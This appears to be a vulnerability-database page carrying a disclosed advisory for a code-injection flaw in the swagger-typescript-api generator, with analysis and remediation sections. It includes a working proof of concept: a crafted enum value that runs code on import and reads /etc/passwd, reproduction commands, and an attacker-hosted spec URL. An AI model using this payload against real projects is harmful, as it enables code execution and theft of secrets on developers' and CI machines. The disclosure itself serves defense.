Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Attacker fully controls the spec and the PoC is deterministic against the default enum style (AC:L), needs no victim auth (PR:N) but requires the victim to generate and import (UI:R), and generator input executes in the consumer's process (S:C) for full RCE.
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
Lifecycle Timeline
3DescriptionCVE.org
Summary
swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call - only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges - read any file the importer can read, write any file, exfiltrate secrets, etc.
Details
The root cause is Ts.StringValue in src/configuration.ts:250:
StringValue: (content: unknown) => `"${content}"`,It wraps a value in double quotes with zero escaping - no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.
Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:
return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):
export enum <%~ name %> {
<%~ _.map($content, ({ key, value, description }) => {
...
return [
formattedDescription && `/** ${formattedDescription} */`,
`${key} = ${value}`
].filter(Boolean).join("\n");
}).join(",\n") %>
}Where ${value} is the result of Ts.StringValue - raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.
A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').
The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime - they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious enum value (literal string, JSON-encoded in the spec below):
blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
"components": {
"schemas": {
"Color": {
"type": "string",
"enum": [
"red",
"blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
]
}
}
},
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": {
"200": {
"description": "OK",
"content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
}
}
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (enum block - payload):
export enum Color {
Red = "red",
BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
}The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.
Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:
sta generate --url https://attacker.example/openapi.json- a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR - the spec change is itself the exploit.
Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value - they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.
Privilege: the IIFE runs with the full privileges of the importing process - read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.
Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal - escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators ` / . JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue` (currently safe only by accident of landing in type-level positions).
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
AnalysisAI
Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) lets an attacker who controls an OpenAPI spec inject JavaScript that runs at module load in whoever generates and imports the client. Because the generator's Ts.StringValue helper wraps enum strings in double quotes with zero escaping, a crafted components.schemas.*.enum value breaks out of the generated TypeScript enum and plants a bare-block async IIFE that fires on a mere import - no HttpClient instantiation or API call needed. Publicly available exploit code exists (self-contained reproducer in advisory GHSA-5f94-x226-ccpm), but there is no active exploitation confirmed and it is not in CISA KEV; the fix landed in 13.12.2.
Technical ContextAI
swagger-typescript-api is a Node.js/TypeScript code generator that turns an OpenAPI/Swagger specification into a typed API client using EJS templates. The root cause is in src/configuration.ts:250 where StringValue is defined as (content) => "${content}" - it emits a TypeScript string literal without escaping quotes, backslashes, or newlines. Enum values reach this sink via src/schema-parser/base-schema-parsers/enum.ts:100 and :116 and are interpolated raw into templates/base/enum-data-contract.ejs under the default enumStyle:"enum" branch. This is a classic injection root cause (CWE-74; effectively CWE-94 code injection and CWE-1336 template injection): a " closes the literal, ;} terminates the enum body, { opens a top-level bare block, and a trailing // swallows the appended closing quote so the output still parses and bundles cleanly through esbuild. The affected package per CPE is pkg:npm/swagger-typescript-api. Several sibling call sites (schema-utils.ts, object.ts, discriminator.ts) use the same unescaped helper but land in type-level positions and are safe only by accident of context, not by design.
RemediationAI
Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 (https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes enum string values by hardening Ts.StringValue via a new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit 306d59acb8ffbb00f953f807b97234b21f51d9de); the same change also protects the other Ts.StringValue call sites and the release additionally fixes related injection in servers[0].url and route paths plus SSRF/token-exfiltration via remote $ref. If you cannot upgrade immediately, treat every OpenAPI spec as untrusted input: only generate from specs you fully author, pin and review spec files so a PR cannot silently alter enum values, and avoid generating from remote --url or tenant-supplied specs, accepting that this removes convenient automated regeneration. As a further compensating control, run the generator and the first import in an isolated least-privilege sandbox (no secrets, restricted filesystem and network egress) so a module-load IIFE cannot read tokens or exfiltrate data, at the cost of added CI complexity. Manually diffing generated enum bodies for stray ;}, bare {, or trailing // before importing is a stopgap detection, not a reliable control.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50366
GHSA-5f94-x226-ccpm